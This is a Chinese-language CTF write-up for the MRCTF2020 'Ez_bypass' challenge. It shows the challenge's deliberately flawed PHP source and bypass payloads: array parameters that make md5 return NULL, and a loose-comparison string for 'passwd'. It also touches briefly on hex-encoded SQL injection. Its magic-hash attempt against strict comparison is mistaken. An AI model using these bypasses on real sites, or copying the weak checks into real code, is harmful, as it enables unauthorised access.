MRCTF2020-Ez_bypass

1. 首页

网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

2. 分析源码

1.1 第一步MD5

1
2
3
4
5
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';

要求get形式上传的参数gg和参数id不同,但是md5加密后要相同

1
2
3
gg=s1885207154a&id=s1836677006a
注入语句:
http://2a47d59a-ca83-4703-81e6-1d3b8f356cd7.node3.buuoj.cn/?id=s1885207154a&gg=s1836677006a

“===”为强比较,只能尝试用数组,md5不能处理数组,md5(id[]=1)=NULL

1
http://2a47d59a-ca83-4703-81e6-1d3b8f356cd7.node3.buuoj.cn/?id[]=1&gg[]=2

1.2 第二步 POST上传参数(弱类型)

1
2
3
4
5
6
7
8
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');

要求post上传参数passwd,需要passwd=1234567但不能为数字,其实是自相矛盾;

所以这里可以利用弱类型,即:

1
2
3
4
5
所以可以利用弱类型,即让passwd=1234567a,
或者1234567%0a
is_numeric() 判断变量是否为数字或数字字符串,不仅检查10进制,16进制也可以。
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对于第一个空格字符会跳过空格字符判断,接着后面的判断!
该函数还可能造成sql注入,例如将‘1 or 1’转换为16进制形式,再传参,就可以造成sql注入

BURP抓包修改没有成功,只能用hackbar